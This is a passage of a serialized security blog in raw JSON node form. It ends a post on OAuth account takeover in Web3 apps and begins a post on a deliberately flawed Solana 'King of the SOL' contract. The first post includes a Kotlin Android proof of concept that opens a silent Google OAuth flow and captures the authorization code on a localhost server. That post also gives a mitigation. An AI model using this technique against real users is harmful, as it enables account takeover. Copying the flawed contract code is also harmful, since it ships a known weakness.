}\n}\n","kotlin",[75983],{"type":24,"tag":80,"props":75984,"children":75985},{"__ignoreMap":7},[75986,76013,76020,76052,76074,76081,76089,76111,76123,76135,76170,76196,76246,76253,76260,76267,76275,76297,76332,76345,76352,76359,76380,76406,76418,76439,76456,76468,76494,76533,76554,76562,76574,76599,76611,76624,76632,76639,76647,76654,76661,76691,76698],{"type":24,"tag":147,"props":75987,"children":75988},{"class":149,"line":150},[75989,75994,75999,76004,76009],{"type":24,"tag":147,"props":75990,"children":75991},{"style":218},[75992],{"type":29,"value":75993},"class",{"type":24,"tag":147,"props":75995,"children":75996},{"style":9044},[75997],{"type":29,"value":75998}," MainActivity",{"type":24,"tag":147,"props":76000,"children":76001},{"style":235},[76002],{"type":29,"value":76003}," : ",{"type":24,"tag":147,"props":76005,"children":76006},{"style":9044},[76007],{"type":29,"value":76008},"AppCompatActivity",{"type":24,"tag":147,"props":76010,"children":76011},{"style":235},[76012],{"type":29,"value":21347},{"type":24,"tag":147,"props":76014,"children":76015},{"class":149,"line":160},[76016],{"type":24,"tag":147,"props":76017,"children":76018},{"emptyLinePlaceholder":16},[76019],{"type":29,"value":314},{"type":24,"tag":147,"props":76021,"children":76022},{"class":149,"line":169},[76023,76028,76032,76037,76042,76047],{"type":24,"tag":147,"props":76024,"children":76025},{"style":218},[76026],{"type":29,"value":76027},"    override",{"type":24,"tag":147,"props":76029,"children":76030},{"style":218},[76031],{"type":29,"value":11832},{"type":24,"tag":147,"props":76033,"children":76034},{"style":229},[76035],{"type":29,"value":76036}," onCreate",{"type":24,"tag":147,"props":76038,"children":76039},{"style":235},[76040],{"type":29,"value":76041},"(savedInstanceState: ",{"type":24,"tag":147,"props":76043,"children":76044},{"style":9044},[76045],{"type":29,"value":76046},"Bundle",{"type":24,"tag":147,"props":76048,"children":76049},{"style":235},[76050],{"type":29,"value":76051},"?) {\n",{"type":24,"tag":147,"props":76053,"children":76054},{"class":149,"line":178},[76055,76060,76064,76069],{"type":24,"tag":147,"props":76056,"children":76057},{"style":218},[76058],{"type":29,"value":76059},"        super",{"type":24,"tag":147,"props":76061,"children":76062},{"style":235},[76063],{"type":29,"value":87},{"type":24,"tag":147,"props":76065,"children":76066},{"style":229},[76067],{"type":29,"value":76068},"onCreate",{"type":24,"tag":147,"props":76070,"children":76071},{"style":235},[76072],{"type":29,"value":76073},"(savedInstanceState)\n",{"type":24,"tag":147,"props":76075,"children":76076},{"class":149,"line":187},[76077],{"type":24,"tag":147,"props":76078,"children":76079},{"emptyLinePlaceholder":16},[76080],{"type":29,"value":314},{"type":24,"tag":147,"props":76082,"children":76083},{"class":149,"line":196},[76084],{"type":24,"tag":147,"props":76085,"children":76086},{"style":154},[76087],{"type":29,"value":76088},"        // Start the Ktor web server\n",{"type":24,"tag":147,"props":76090,"children":76091},{"class":149,"line":205},[76092,76097,76102,76107],{"type":24,"tag":147,"props":76093,"children":76094},{"style":229},[76095],{"type":29,"value":76096},"        CoroutineScope",{"type":24,"tag":147,"props":76098,"children":76099},{"style":235},[76100],{"type":29,"value":76101},"(Dispatchers.IO).",{"type":24,"tag":147,"props":76103,"children":76104},{"style":229},[76105],{"type":29,"value":76106},"launch",{"type":24,"tag":147,"props":76108,"children":76109},{"style":235},[76110],{"type":29,"value":6630},{"type":24,"tag":147,"props":76112,"children":76113},{"class":149,"line":214},[76114,76119],{"type":24,"tag":147,"props":76115,"children":76116},{"style":321},[76117],{"type":29,"value":76118},"            try",{"type":24,"tag":147,"props":76120,"children":76121},{"style":235},[76122],{"type":29,"value":6630},{"type":24,"tag":147,"props":76124,"children":76125},{"class":149,"line":272},[76126,76131],{"type":24,"tag":147,"props":76127,"children":76128},{"style":229},[76129],{"type":29,"value":76130},"                startWebServer",{"type":24,"tag":147,"props":76132,"children":76133},{"style":235},[76134],{"type":29,"value":13361},{"type":24,"tag":147,"props":76136,"children":76137},{"class":149,"line":281},[76138,76143,76148,76152,76157,76161,76166],{"type":24,"tag":147,"props":76139,"children":76140},{"style":235},[76141],{"type":29,"value":76142},"                Log.",{"type":24,"tag":147,"props":76144,"children":76145},{"style":229},[76146],{"type":29,"value":76147},"d",{"type":24,"tag":147,"props":76149,"children":76150},{"style":235},[76151],{"type":29,"value":480},{"type":24,"tag":147,"props":76153,"children":76154},{"style":3534},[76155],{"type":29,"value":76156},"\"WebServer\"",{"type":24,"tag":147,"props":76158,"children":76159},{"style":235},[76160],{"type":29,"value":546},{"type":24,"tag":147,"props":76162,"children":76163},{"style":3534},[76164],{"type":29,"value":76165},"\"Server started on http://localhost:3000\"",{"type":24,"tag":147,"props":76167,"children":76168},{"style":235},[76169],{"type":29,"value":269},{"type":24,"tag":147,"props":76171,"children":76172},{"class":149,"line":299},[76173,76178,76182,76187,76192],{"type":24,"tag":147,"props":76174,"children":76175},{"style":235},[76176],{"type":29,"value":76177},"            } ",{"type":24,"tag":147,"props":76179,"children":76180},{"style":218},[76181],{"type":29,"value":54010},{"type":24,"tag":147,"props":76183,"children":76184},{"style":235},[76185],{"type":29,"value":76186}," (e: ",{"type":24,"tag":147,"props":76188,"children":76189},{"style":9044},[76190],{"type":29,"value":76191},"Exception",{"type":24,"tag":147,"props":76193,"children":76194},{"style":235},[76195],{"type":29,"value":505},{"type":24,"tag":147,"props":76197,"children":76198},{"class":149,"line":308},[76199,76203,76207,76211,76215,76219,76224,76228,76233,76237,76241],{"type":24,"tag":147,"props":76200,"children":76201},{"style":235},[76202],{"type":29,"value":76142},{"type":24,"tag":147,"props":76204,"children":76205},{"style":229},[76206],{"type":29,"value":57047},{"type":24,"tag":147,"props":76208,"children":76209},{"style":235},[76210],{"type":29,"value":480},{"type":24,"tag":147,"props":76212,"children":76213},{"style":3534},[76214],{"type":29,"value":76156},{"type":24,"tag":147,"props":76216,"children":76217},{"style":235},[76218],{"type":29,"value":546},{"type":24,"tag":147,"props":76220,"children":76221},{"style":3534},[76222],{"type":29,"value":76223},"\"Error starting server: ",{"type":24,"tag":147,"props":76225,"children":76226},{"style":218},[76227],{"type":29,"value":39709},{"type":24,"tag":147,"props":76229,"children":76230},{"style":241},[76231],{"type":29,"value":76232},"e.message",{"type":24,"tag":147,"props":76234,"children":76235},{"style":218},[76236],{"type":29,"value":39741},{"type":24,"tag":147,"props":76238,"children":76239},{"style":3534},[76240],{"type":29,"value":25663},{"type":24,"tag":147,"props":76242,"children":76243},{"style":235},[76244],{"type":29,"value":76245},", e)\n",{"type":24,"tag":147,"props":76247,"children":76248},{"class":149,"line":317},[76249],{"type":24,"tag":147,"props":76250,"children":76251},{"style":235},[76252],{"type":29,"value":1935},{"type":24,"tag":147,"props":76254,"children":76255},{"class":149,"line":332},[76256],{"type":24,"tag":147,"props":76257,"children":76258},{"style":235},[76259],{"type":29,"value":441},{"type":24,"tag":147,"props":76261,"children":76262},{"class":149,"line":350},[76263],{"type":24,"tag":147,"props":76264,"children":76265},{"emptyLinePlaceholder":16},[76266],{"type":29,"value":314},{"type":24,"tag":147,"props":76268,"children":76269},{"class":149,"line":358},[76270],{"type":24,"tag":147,"props":76271,"children":76272},{"style":154},[76273],{"type":29,"value":76274},"        // Open the Google OAuth page\n",{"type":24,"tag":147,"props":76276,"children":76277},{"class":149,"line":397},[76278,76283,76288,76292],{"type":24,"tag":147,"props":76279,"children":76280},{"style":218},[76281],{"type":29,"value":76282},"        val",{"type":24,"tag":147,"props":76284,"children":76285},{"style":235},[76286],{"type":29,"value":76287}," googleOAuthUrl ",{"type":24,"tag":147,"props":76289,"children":76290},{"style":241},[76291],{"type":29,"value":369},{"type":24,"tag":147,"props":76293,"children":76294},{"style":3534},[76295],{"type":29,"value":76296}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":147,"props":76298,"children":76299},{"class":149,"line":421},[76300,76304,76309,76313,76318,76323,76327],{"type":24,"tag":147,"props":76301,"children":76302},{"style":218},[76303],{"type":29,"value":76282},{"type":24,"tag":147,"props":76305,"children":76306},{"style":235},[76307],{"type":29,"value":76308}," browserIntent ",{"type":24,"tag":147,"props":76310,"children":76311},{"style":241},[76312],{"type":29,"value":369},{"type":24,"tag":147,"props":76314,"children":76315},{"style":229},[76316],{"type":29,"value":76317}," Intent",{"type":24,"tag":147,"props":76319,"children":76320},{"style":235},[76321],{"type":29,"value":76322},"(Intent.ACTION_VIEW, Uri.",{"type":24,"tag":147,"props":76324,"children":76325},{"style":229},[76326],{"type":29,"value":44808},{"type":24,"tag":147,"props":76328,"children":76329},{"style":235},[76330],{"type":29,"value":76331},"(googleOAuthUrl))\n",{"type":24,"tag":147,"props":76333,"children":76334},{"class":149,"line":435},[76335,76340],{"type":24,"tag":147,"props":76336,"children":76337},{"style":229},[76338],{"type":29,"value":76339},"        startActivity",{"type":24,"tag":147,"props":76341,"children":76342},{"style":235},[76343],{"type":29,"value":76344},"(browserIntent)\n",{"type":24,"tag":147,"props":76346,"children":76347},{"class":149,"line":444},[76348],{"type":24,"tag":147,"props":76349,"children":76350},{"style":235},[76351],{"type":29,"value":1952},{"type":24,"tag":147,"props":76353,"children":76354},{"class":149,"line":452},[76355],{"type":24,"tag":147,"props":76356,"children":76357},{"emptyLinePlaceholder":16},[76358],{"type":29,"value":314},{"type":24,"tag":147,"props":76360,"children":76361},{"class":149,"line":461},[76362,76367,76371,76376],{"type":24,"tag":147,"props":76363,"children":76364},{"style":218},[76365],{"type":29,"value":76366},"    private",{"type":24,"tag":147,"props":76368,"children":76369},{"style":218},[76370],{"type":29,"value":11832},{"type":24,"tag":147,"props":76372,"children":76373},{"style":229},[76374],{"type":29,"value":76375}," startWebServer",{"type":24,"tag":147,"props":76377,"children":76378},{"style":235},[76379],{"type":29,"value":21347},{"type":24,"tag":147,"props":76381,"children":76382},{"class":149,"line":469},[76383,76388,76393,76397,76402],{"type":24,"tag":147,"props":76384,"children":76385},{"style":229},[76386],{"type":29,"value":76387},"        embeddedServer",{"type":24,"tag":147,"props":76389,"children":76390},{"style":235},[76391],{"type":29,"value":76392},"(CIO, port ",{"type":24,"tag":147,"props":76394,"children":76395},{"style":241},[76396],{"type":29,"value":369},{"type":24,"tag":147,"props":76398,"children":76399},{"style":705},[76400],{"type":29,"value":76401}," 3000",{"type":24,"tag":147,"props":76403,"children":76404},{"style":235},[76405],{"type":29,"value":505},{"type":24,"tag":147,"props":76407,"children":76408},{"class":149,"line":508},[76409,76414],{"type":24,"tag":147,"props":76410,"children":76411},{"style":229},[76412],{"type":29,"value":76413},"            routing",{"type":24,"tag":147,"props":76415,"children":76416},{"style":235},[76417],{"type":29,"value":6630},{"type":24,"tag":147,"props":76419,"children":76420},{"class":149,"line":572},[76421,76426,76430,76435],{"type":24,"tag":147,"props":76422,"children":76423},{"style":218},[76424],{"type":29,"value":76425},"                get",{"type":24,"tag":147,"props":76427,"children":76428},{"style":235},[76429],{"type":29,"value":480},{"type":24,"tag":147,"props":76431,"children":76432},{"style":3534},[76433],{"type":29,"value":76434},"\"{...}\"",{"type":24,"tag":147,"props":76436,"children":76437},{"style":235},[76438],{"type":29,"value":505},{"type":24,"tag":147,"props":76440,"children":76441},{"class":149,"line":591},[76442,76447,76452],{"type":24,"tag":147,"props":76443,"children":76444},{"style":235},[76445],{"type":29,"value":76446},"                    call.",{"type":24,"tag":147,"props":76448,"children":76449},{"style":229},[76450],{"type":29,"value":76451},"respondHtml",{"type":24,"tag":147,"props":76453,"children":76454},{"style":235},[76455],{"type":29,"value":6630},{"type":24,"tag":147,"props":76457,"children":76458},{"class":149,"line":632},[76459,76464],{"type":24,"tag":147,"props":76460,"children":76461},{"style":229},[76462],{"type":29,"value":76463},"                        head",{"type":24,"tag":147,"props":76465,"children":76466},{"style":235},[76467],{"type":29,"value":6630},{"type":24,"tag":147,"props":76469,"children":76470},{"class":149,"line":659},[76471,76476,76481,76485,76490],{"type":24,"tag":147,"props":76472,"children":76473},{"style":229},[76474],{"type":29,"value":76475},"                            meta",{"type":24,"tag":147,"props":76477,"children":76478},{"style":235},[76479],{"type":29,"value":76480},"(charset ",{"type":24,"tag":147,"props":76482,"children":76483},{"style":241},[76484],{"type":29,"value":369},{"type":24,"tag":147,"props":76486,"children":76487},{"style":3534},[76488],{"type":29,"value":76489}," \"UTF-8\"",{"type":24,"tag":147,"props":76491,"children":76492},{"style":235},[76493],{"type":29,"value":269},{"type":24,"tag":147,"props":76495,"children":76496},{"class":149,"line":684},[76497,76501,76506,76510,76515,76520,76524,76529],{"type":24,"tag":147,"props":76498,"children":76499},{"style":229},[76500],{"type":29,"value":76475},{"type":24,"tag":147,"props":76502,"children":76503},{"style":235},[76504],{"type":29,"value":76505},"(name ",{"type":24,"tag":147,"props":76507,"children":76508},{"style":241},[76509],{"type":29,"value":369},{"type":24,"tag":147,"props":76511,"children":76512},{"style":3534},[76513],{"type":29,"value":76514}," \"viewport\"",{"type":24,"tag":147,"props":76516,"children":76517},{"style":235},[76518],{"type":29,"value":76519},", content ",{"type":24,"tag":147,"props":76521,"children":76522},{"style":241},[76523],{"type":29,"value":369},{"type":24,"tag":147,"props":76525,"children":76526},{"style":3534},[76527],{"type":29,"value":76528}," \"width=device-width, initial-scale=1.0\"",{"type":24,"tag":147,"props":76530,"children":76531},{"style":235},[76532],{"type":29,"value":269},{"type":24,"tag":147,"props":76534,"children":76535},{"class":149,"line":715},[76536,76541,76545,76550],{"type":24,"tag":147,"props":76537,"children":76538},{"style":229},[76539],{"type":29,"value":76540},"                            title",{"type":24,"tag":147,"props":76542,"children":76543},{"style":235},[76544],{"type":29,"value":480},{"type":24,"tag":147,"props":76546,"children":76547},{"style":3534},[76548],{"type":29,"value":76549},"\"OAuth Redirect\"",{"type":24,"tag":147,"props":76551,"children":76552},{"style":235},[76553],{"type":29,"value":269},{"type":24,"tag":147,"props":76555,"children":76556},{"class":149,"line":744},[76557],{"type":24,"tag":147,"props":76558,"children":76559},{"style":235},[76560],{"type":29,"value":76561},"                        }\n",{"type":24,"tag":147,"props":76563,"children":76564},{"class":149,"line":784},[76565,76570],{"type":24,"tag":147,"props":76566,"children":76567},{"style":229},[76568],{"type":29,"value":76569},"                        body",{"type":24,"tag":147,"props":76571,"children":76572},{"style":235},[76573],{"type":29,"value":6630},{"type":24,"tag":147,"props":76575,"children":76576},{"class":149,"line":792},[76577,76582,76586,76590,76595],{"type":24,"tag":147,"props":76578,"children":76579},{"style":229},[76580],{"type":29,"value":76581},"                            h1",{"type":24,"tag":147,"props":76583,"children":76584},{"style":235},[76585],{"type":29,"value":15207},{"type":24,"tag":147,"props":76587,"children":76588},{"style":241},[76589],{"type":29,"value":624},{"type":24,"tag":147,"props":76591,"children":76592},{"style":3534},[76593],{"type":29,"value":76594},"\"Google OAuth Redirect\"",{"type":24,"tag":147,"props":76596,"children":76597},{"style":235},[76598],{"type":29,"value":15217},{"type":24,"tag":147,"props":76600,"children":76601},{"class":149,"line":805},[76602,76607],{"type":24,"tag":147,"props":76603,"children":76604},{"style":229},[76605],{"type":29,"value":76606},"                            script",{"type":24,"tag":147,"props":76608,"children":76609},{"style":235},[76610],{"type":29,"value":6630},{"type":24,"tag":147,"props":76612,"children":76613},{"class":149,"line":813},[76614,76619],{"type":24,"tag":147,"props":76615,"children":76616},{"style":241},[76617],{"type":29,"value":76618},"                                +",{"type":24,"tag":147,"props":76620,"children":76621},{"style":3534},[76622],{"type":29,"value":76623},"\"document.body.innerText = location.search;\"\n",{"type":24,"tag":147,"props":76625,"children":76626},{"class":149,"line":821},[76627],{"type":24,"tag":147,"props":76628,"children":76629},{"style":235},[76630],{"type":29,"value":76631},"                            }\n",{"type":24,"tag":147,"props":76633,"children":76634},{"class":149,"line":1902},[76635],{"type":24,"tag":147,"props":76636,"children":76637},{"style":235},[76638],{"type":29,"value":76561},{"type":24,"tag":147,"props":76640,"children":76641},{"class":149,"line":1920},[76642],{"type":24,"tag":147,"props":76643,"children":76644},{"style":235},[76645],{"type":29,"value":76646},"                    }\n",{"type":24,"tag":147,"props":76648,"children":76649},{"class":149,"line":1929},[76650],{"type":24,"tag":147,"props":76651,"children":76652},{"style":235},[76653],{"type":29,"value":1666},{"type":24,"tag":147,"props":76655,"children":76656},{"class":149,"line":1938},[76657],{"type":24,"tag":147,"props":76658,"children":76659},{"style":235},[76660],{"type":29,"value":1935},{"type":24,"tag":147,"props":76662,"children":76663},{"class":149,"line":1946},[76664,76669,76674,76679,76683,76687],{"type":24,"tag":147,"props":76665,"children":76666},{"style":235},[76667],{"type":29,"value":76668},"        }.",{"type":24,"tag":147,"props":76670,"children":76671},{"style":229},[76672],{"type":29,"value":76673},"start",{"type":24,"tag":147,"props":76675,"children":76676},{"style":235},[76677],{"type":29,"value":76678},"(wait ",{"type":24,"tag":147,"props":76680,"children":76681},{"style":241},[76682],{"type":29,"value":369},{"type":24,"tag":147,"props":76684,"children":76685},{"style":218},[76686],{"type":29,"value":18087},{"type":24,"tag":147,"props":76688,"children":76689},{"style":235},[76690],{"type":29,"value":269},{"type":24,"tag":147,"props":76692,"children":76693},{"class":149,"line":1955},[76694],{"type":24,"tag":147,"props":76695,"children":76696},{"style":235},[76697],{"type":29,"value":1952},{"type":24,"tag":147,"props":76699,"children":76700},{"class":149,"line":29376},[76701],{"type":24,"tag":147,"props":76702,"children":76703},{"style":235},[76704],{"type":29,"value":827},{"type":24,"tag":25,"props":76706,"children":76707},{},[76708],{"type":29,"value":76709},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":24,"tag":25,"props":76711,"children":76712},{},[76713],{"type":29,"value":76714},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":24,"tag":43,"props":76716,"children":76718},{"id":76717},"mitigation-1",[76719],{"type":29,"value":45932},{"type":24,"tag":25,"props":76721,"children":76722},{},[76723,76725,76730],{"type":29,"value":76724},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":24,"tag":80,"props":76726,"children":76728},{"className":76727},[],[76729],{"type":29,"value":75348},{"type":29,"value":76731}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":24,"tag":32,"props":76733,"children":76734},{"id":8458},[76735],{"type":29,"value":8461},{"type":24,"tag":25,"props":76737,"children":76738},{},[76739],{"type":29,"value":76740},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":24,"tag":25,"props":76742,"children":76743},{},[76744],{"type":29,"value":76745},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":24,"tag":8473,"props":76747,"children":76748},{},[76749],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":76751},[76752,76759,76764,76767],{"id":75116,"depth":160,"text":75119,"children":76753},[76754,76755,76756,76757,76758],{"id":75127,"depth":169,"text":75130},{"id":75154,"depth":169,"text":75157},{"id":75215,"depth":169,"text":75218},{"id":75272,"depth":169,"text":75275},{"id":75371,"depth":169,"text":75374},{"id":75417,"depth":160,"text":75420,"children":76760},[76761,76762,76763],{"id":75423,"depth":169,"text":75426},{"id":75450,"depth":169,"text":75453},{"id":45929,"depth":169,"text":45932},{"id":75899,"depth":160,"text":75902,"children":76765},[76766],{"id":76717,"depth":169,"text":45932},{"id":8458,"depth":160,"text":8461},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":76772,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":76773,"description":76774,"author":46048,"image":76775,"date":76777,"isFeatured":16,"tags":76778,"onBlogPage":16,"body":76779,"_type":8496,"_id":81433,"_source":8498,"_file":81434,"_stem":81435,"_extension":8501},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":76776,"height":15,"width":15},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[8513],{"type":21,"children":76780,"toc":81422},[76781,76785,76790,76804,76810,76815,76845,76850,76855,77893,77898,77906,77911,77917,77923,77935,77968,77980,77993,78005,78450,78455,78501,78507,78512,78599,78604,78618,78631,79294,79299,79311,79317,79328,79340,79494,79508,79527,79548,79554,79559,79904,79909,79915,79934,79948,80570,80575,80595,80600,80605,80611,80623,80644,80819,80825,80830,81131,81152,81164,81176,81260,81280,81292,81298,81310,81316,81321,81344,81356,81362,81374,81379,81385,81390,81395,81413,81418],{"type":24,"tag":32,"props":76782,"children":76783},{"id":34617},[76784],{"type":29,"value":34620},{"type":24,"tag":25,"props":76786,"children":76787},{},[76788],{"type":29,"value":76789},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":24,"tag":25,"props":76791,"children":76792},{},[76793,76795,76802],{"type":29,"value":76794},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":24,"tag":2773,"props":76796,"children":76799},{"href":76797,"rel":76798},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[2777],[76800],{"type":29,"value":76801},"King of the Ether",{"type":29,"value":76803},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":24,"tag":32,"props":76805,"children":76807},{"id":76806},"the-game-king-of-the-sol",[76808],{"type":29,"value":76809},"The Game: King of the SOL",{"type":24,"tag":25,"props":76811,"children":76812},{},[76813],{"type":29,"value":76814},"The game works like this:",{"type":24,"tag":22292,"props":76816,"children":76817},{},[76818,76830,76835,76840],{"type":24,"tag":2678,"props":76819,"children":76820},{},[76821,76823,76828],{"type":29,"value":76822},"Anyone can become the ",{"type":24,"tag":10949,"props":76824,"children":76825},{},[76826],{"type":29,"value":76827},"king",{"type":29,"value":76829}," by bidding at least 2× the previous bid.",{"type":24,"tag":2678,"props":76831,"children":76832},{},[76833],{"type":29,"value":76834},"The old king is reimbursed 95% of their bid.",{"type":24,"tag":2678,"props":76836,"children":76837},{},[76838],{"type":29,"value":76839},"The remaining 5% goes into a prize pot.",{"type":24,"tag":2678,"props":76841,"children":76842},{},[76843],{"type":29,"value":76844},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":24,"tag":25,"props":76846,"children":76847},{},[76848],{"type":29,"value":76849},"Simple, right?",{"type":24,"tag":25,"props":76851,"children":76852},{},[76853],{"type":29,"value":76854},"This is the core logic:",{"type":24,"tag":137,"props":76856,"children":76858},{"className":8614,"code":76857,"language":8613,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[76859],{"type":24,"tag":80,"props":76860,"children":76861},{"__ignoreMap":7},[76862,76877,76905,76920,76961,76968,76976,77027,77058,77065,77073,77088,77120,77127,77142,77173,77180,77187,77195,77212,77286,77294,77355,77367,77395,77435,77447,77463,77470,77478,77552,77564,77603,77631,77643,77658,77665,77673,77743,77787,77861,77868,77879,77886],{"type":24,"tag":147,"props":76863,"children":76864},{"class":149,"line":150},[76865,76869,76873],{"type":24,"tag":147,"props":76866,"children":76867},{"style":235},[76868],{"type":29,"value":28439},{"type":24,"tag":147,"props":76870,"children":76871},{"style":9044},[76872],{"type":29,"value":28444},{"type":24,"tag":147,"props":76874,"children":76875},{"style":235},[76876],{"type":29,"value":25862},{"type":24,"tag":147,"props":76878,"children":76879},{"class":149,"line":160},[76880,76884,76888,76893,76897,76901],{"type":24,"tag":147,"props":76881,"children":76882},{"style":218},[76883],{"type":29,"value":19307},{"type":24,"tag":147,"props":76885,"children":76886},{"style":218},[76887],{"type":29,"value":26753},{"type":24,"tag":147,"props":76889,"children":76890},{"style":9044},[76891],{"type":29,"value":76892}," ChangeKing",{"type":24,"tag":147,"props":76894,"children":76895},{"style":235},[76896],{"type":29,"value":28524},{"type":24,"tag":147,"props":76898,"children":76899},{"style":9044},[76900],{"type":29,"value":28529},{"type":24,"tag":147,"props":76902,"children":76903},{"style":235},[76904],{"type":29,"value":12907},{"type":24,"tag":147,"props":76906,"children":76907},{"class":149,"line":169},[76908,76912,76916],{"type":24,"tag":147,"props":76909,"children":76910},{"style":235},[76911],{"type":29,"value":28731},{"type":24,"tag":147,"props":76913,"children":76914},{"style":218},[76915],{"type":29,"value":9348},{"type":24,"tag":147,"props":76917,"children":76918},{"style":235},[76919],{"type":29,"value":25862},{"type":24,"tag":147,"props":76921,"children":76922},{"class":149,"line":178},[76923,76927,76932,76936,76940,76944,76948,76952,76957],{"type":24,"tag":147,"props":76924,"children":76925},{"style":218},[76926],{"type":29,"value":26445},{"type":24,"tag":147,"props":76928,"children":76929},{"style":247},[76930],{"type":29,"value":76931}," throne",{"type":24,"tag":147,"props":76933,"children":76934},{"style":241},[76935],{"type":29,"value":978},{"type":24,"tag":147,"props":76937,"children":76938},{"style":9044},[76939],{"type":29,"value":28696},{"type":24,"tag":147,"props":76941,"children":76942},{"style":235},[76943],{"type":29,"value":28524},{"type":24,"tag":147,"props":76945,"children":76946},{"style":9044},[76947],{"type":29,"value":28529},{"type":24,"tag":147,"props":76949,"children":76950},{"style":235},[76951],{"type":29,"value":546},{"type":24,"tag":147,"props":76953,"children":76954},{"style":9044},[76955],{"type":29,"value":76956},"Throne",{"type":24,"tag":147,"props":76958,"children":76959},{"style":235},[76960],{"type":29,"value":11763},{"type":24,"tag":147,"props":76962,"children":76963},{"class":149,"line":187},[76964],{"type":24,"tag":147,"props":76965,"children":76966},{"emptyLinePlaceholder":16},[76967],{"type":29,"value":314},{"type":24,"tag":147,"props":76969,"children":76970},{"class":149,"line":196},[76971],{"type":24,"tag":147,"props":76972,"children":76973},{"style":154},[76974],{"type":29,"value":76975},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":24,"tag":147,"props":76977,"children":76978},{"class":149,"line":205},[76979,76983,76987,76992,76996,77001,77005,77010,77014,77018,77022],{"type":24,"tag":147,"props":76980,"children":76981},{"style":235},[76982],{"type":29,"value":28731},{"type":24,"tag":147,"props":76984,"children":76985},{"style":218},[76986],{"type":29,"value":9348},{"type":24,"tag":147,"props":76988,"children":76989},{"style":235},[76990],{"type":29,"value":76991},", constraint ",{"type":24,"tag":147,"props":76993,"children":76994},{"style":241},[76995],{"type":29,"value":369},{"type":24,"tag":147,"props":76997,"children":76998},{"style":235},[76999],{"type":29,"value":77000}," old_king",{"type":24,"tag":147,"props":77002,"children":77003},{"style":241},[77004],{"type":29,"value":87},{"type":24,"tag":147,"props":77006,"children":77007},{"style":235},[77008],{"type":29,"value":77009},"key() ",{"type":24,"tag":147,"props":77011,"children":77012},{"style":241},[77013],{"type":29,"value":6600},{"type":24,"tag":147,"props":77015,"children":77016},{"style":235},[77017],{"type":29,"value":76931},{"type":24,"tag":147,"props":77019,"children":77020},{"style":241},[77021],{"type":29,"value":87},{"type":24,"tag":147,"props":77023,"children":77024},{"style":235},[77025],{"type":29,"value":77026},"king)]\n",{"type":24,"tag":147,"props":77028,"children":77029},{"class":149,"line":214},[77030,77034,77038,77042,77046,77050,77054],{"type":24,"tag":147,"props":77031,"children":77032},{"style":218},[77033],{"type":29,"value":26445},{"type":24,"tag":147,"props":77035,"children":77036},{"style":247},[77037],{"type":29,"value":77000},{"type":24,"tag":147,"props":77039,"children":77040},{"style":241},[77041],{"type":29,"value":978},{"type":24,"tag":147,"props":77043,"children":77044},{"style":9044},[77045],{"type":29,"value":30999},{"type":24,"tag":147,"props":77047,"children":77048},{"style":235},[77049],{"type":29,"value":28524},{"type":24,"tag":